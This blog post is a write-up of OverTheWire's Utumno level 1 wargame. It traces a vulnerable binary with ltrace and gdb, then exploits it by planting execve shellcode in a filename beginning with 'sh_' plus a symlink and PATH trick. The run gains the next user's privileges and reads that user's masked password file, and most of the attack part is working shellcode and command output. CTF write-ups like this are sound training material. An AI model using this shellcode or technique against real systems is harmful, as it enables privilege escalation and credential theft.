OverTheWire.org - Utumno - Level 1 Writeup

Let's run the executable

utumno1@utumno:~$ ltrace  /utumno/utumno1
__libc_start_main(0x80484a5, 1, 0xffffd794, 0x8048530 <unfinished ...>
exit(1 <no return ...>
+++ exited (status 1) +++

It does nothgin interesting.
So let's try running it with a parameter

utumno1@utumno:~$ ltrace  /utumno/utumno1 a
__libc_start_main(0x80484a5, 2, 0xffffd794, 0x8048530 <unfinished ...>
opendir("a")                                                                                     = 0
exit(1 <no return ...>
+++ exited (status 1) +++

The executable opens the directory passed as parameter.
In this case there is folder with that named and exits.

So let's create a folder named /tmp/utum1 and try passing it as parameter:

utumno1@utumno:~$ mkdir /tmp/utum1
utumno1@utumno:~$ ltrace  /utumno/utumno1 /tmp/utum1
__libc_start_main(0x80484a5, 2, 0xffffd774, 0x8048530 <unfinished ...>
opendir("/tmp/utum1")                                                                            = 0x804a008
readdir(0x804a008)                                                                               = 0x804a024
strncmp("sh_", ".", 3)                                                                           = 69
readdir(0x804a008)                                                                               = 0x804a034
strncmp("sh_", "..", 3)                                                                          = 69
readdir(0x804a008)                                                                               = 0
+++ exited (status 0) +++

It scans the folder for elements and compare to the string "sh_".
In the folder there are only "." and ".." and the executable does nothing.

Let's create a file "sh_" and look if it does something else

utumno1@utumno:~$ touch /tmp/utum1/sh_
utumno1@utumno:~$ ltrace  /utumno/utumno1 /tmp/utum1
__libc_start_main(0x80484a5, 2, 0xffffd774, 0x8048530 <unfinished ...>
opendir("/tmp/utum1")                                                                            = 0x804a008
readdir(0x804a008)                                                                               = 0x804a024
strncmp("sh_", ".", 3)                                                                           = 69
readdir(0x804a008)                                                                               = 0x804a034
strncmp("sh_", "..", 3)                                                                          = 69
readdir(0x804a008)                                                                               = 0x804a044
strncmp("sh_", "sh_", 3)                                                                         = 0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

That is more interesting: something strange is happening.

To understand better let's disassamble the executable.
I removed some parts and show only the interesting part.


utumno1@utumno:~$ gdb  /utumno/utumno1 
...
   0x080484ed <+72>:    call   0x8048360 <strncmp@plt>
   0x080484f2 <+77>:    add    $0xc,%esp
   0x080484f5 <+80>:    test   %eax,%eax
   0x080484f7 <+82>:    jne    0x804850b <main+102>
   0x080484f9 <+84>:    mov    -0x8(%ebp),%eax
   0x080484fc <+87>:    add    $0xb,%eax
   0x080484ff <+90>:    add    $0x3,%eax
   0x08048502 <+93>:    push   %eax
   0x08048503 <+94>:    call   0x804848b <run>
   0x08048508 <+99>:    add    $0x4,%esp
   0x0804850b <+102>:   pushl  -0x4(%ebp)
   0x0804850e <+105>:   call   0x8048350 <readdir@plt>
   0x08048513 <+110>:   add    $0x4,%esp
   0x08048516 <+113>:   mov    %eax,-0x8(%ebp)
   0x08048519 <+116>:   cmpl   $0x0,-0x8(%ebp)
...


There is a loop between strncmp() and readdir().
But there is an interesting call to function run() defined in the executable.

Let's disasseble this run() function

(gdb) disas run
Dump of assembler code for function run:
   0x0804848b <+0>:     push   %ebp
   0x0804848c <+1>:     mov    %esp,%ebp
   0x0804848e <+3>:     sub    $0x4,%esp
   0x08048491 <+6>:     lea    -0x4(%ebp),%eax
   0x08048494 <+9>:     add    $0x8,%eax
   0x08048497 <+12>:    mov    %eax,-0x4(%ebp)
   0x0804849a <+15>:    mov    -0x4(%ebp),%eax
   0x0804849d <+18>:    mov    0x8(%ebp),%edx
   0x080484a0 <+21>:    mov    %edx,(%eax)
   0x080484a2 <+23>:    nop
   0x080484a3 <+24>:    leave
   0x080484a4 <+25>:    ret
End of assembler dump.
(gdb)

It seems it swaps and moves thing in registers and memory areas...

To understand better let's put a break on the last istruction (return) of run() function.
Then start the executable

(gdb) break *0x080484a4
(gdb) set args /tmp/utum1
(gdb) r
Starting program: /utumno/utumno1 /tmp/utum1
Breakpoint 1, 0x080484a4 in run (p=0x804a052) at utumno1.c:27
(gdb) info reg eip
eip            0x80484a4        0x80484a4 <run+25>
(gdb) stepi
0x0804a052 in ?? ()
(gdb) x/c 0x804a048
0x804a048:      -1 '\377'
(gdb)
0x804a049:      -1 '\377'
(gdb)
0x804a04a:      -1 '\377'
(gdb)
0x804a04b:      127 '\177'
(gdb)
0x804a04c:      16 '\020'
(gdb)
0x804a04d:      0 '\000'
(gdb)
0x804a04e:      8 '\b'
(gdb)
0x804a04f:      115 's'
(gdb)
0x804a050:      104 'h'
(gdb)
0x804a051:      95 '_'

If we use "stepi" (proceed to next istruction), the flow is redirected (register EIP) to address 0x804a052.

If we show the memory in that area, we see that the EIP will be positioned just after "sh_"

If we create a file whose name is  "sh_" + shellcode, the executable flow of istructions will be moved to the shellcode.

We can try to create a file with the command:
touch $(python -c 'print
"sh_\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

But it won't work because the standard shellcode contains slash characters.

We need to use a link to /bin/sh in the current folder and add the current folder to PATH
Then modfy the shellcode to run the link

utumno1@utumno:~$ cd /tmp/utum1
utumno1@utumno:/tmp/utum1$ ln -s /bin/sh sssh
utumno1@utumno:/tmp/utum1$ PATH=.:$PATH
utumno1@utumno:/tmp/utum1$ touch $(python -c 'print "sh_\x31\xc0\x50\x68sssh\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' )

utumno1@utumno:/tmp/utum1$ strace /utumno/utumno1 .
...
getdents(3, /* 7 entries */, 32768)     = 136
execve("sssh", ["sssh"], [/* 18 vars */]) = -1 EFAULT (Bad Address)

Ok it executes the file but it fails with "Bad Address"

We've seen this error before and the solution was to clean argv and env.

 Let's remove existing file starting with "sh_" and retry with another shellcode

utumno1@utumno:/tmp/utum1$ rm sh_*
utumno1@utumno:/tmp/utum1$ touch $(python -c 'print "sh_\x31\xc0\x50\x68sssh\x89\xe3\x50\x53\x89\xe1\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"' )
utumno1@utumno:/tmp/utum1$  /utumno/utumno1 .
$ id
uid=16001(utumno1) gid=16001(utumno1) euid=16002(utumno2) groups=16001(utumno1)
$ cat /etc/utumno_pass/utumno2
c*******h
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.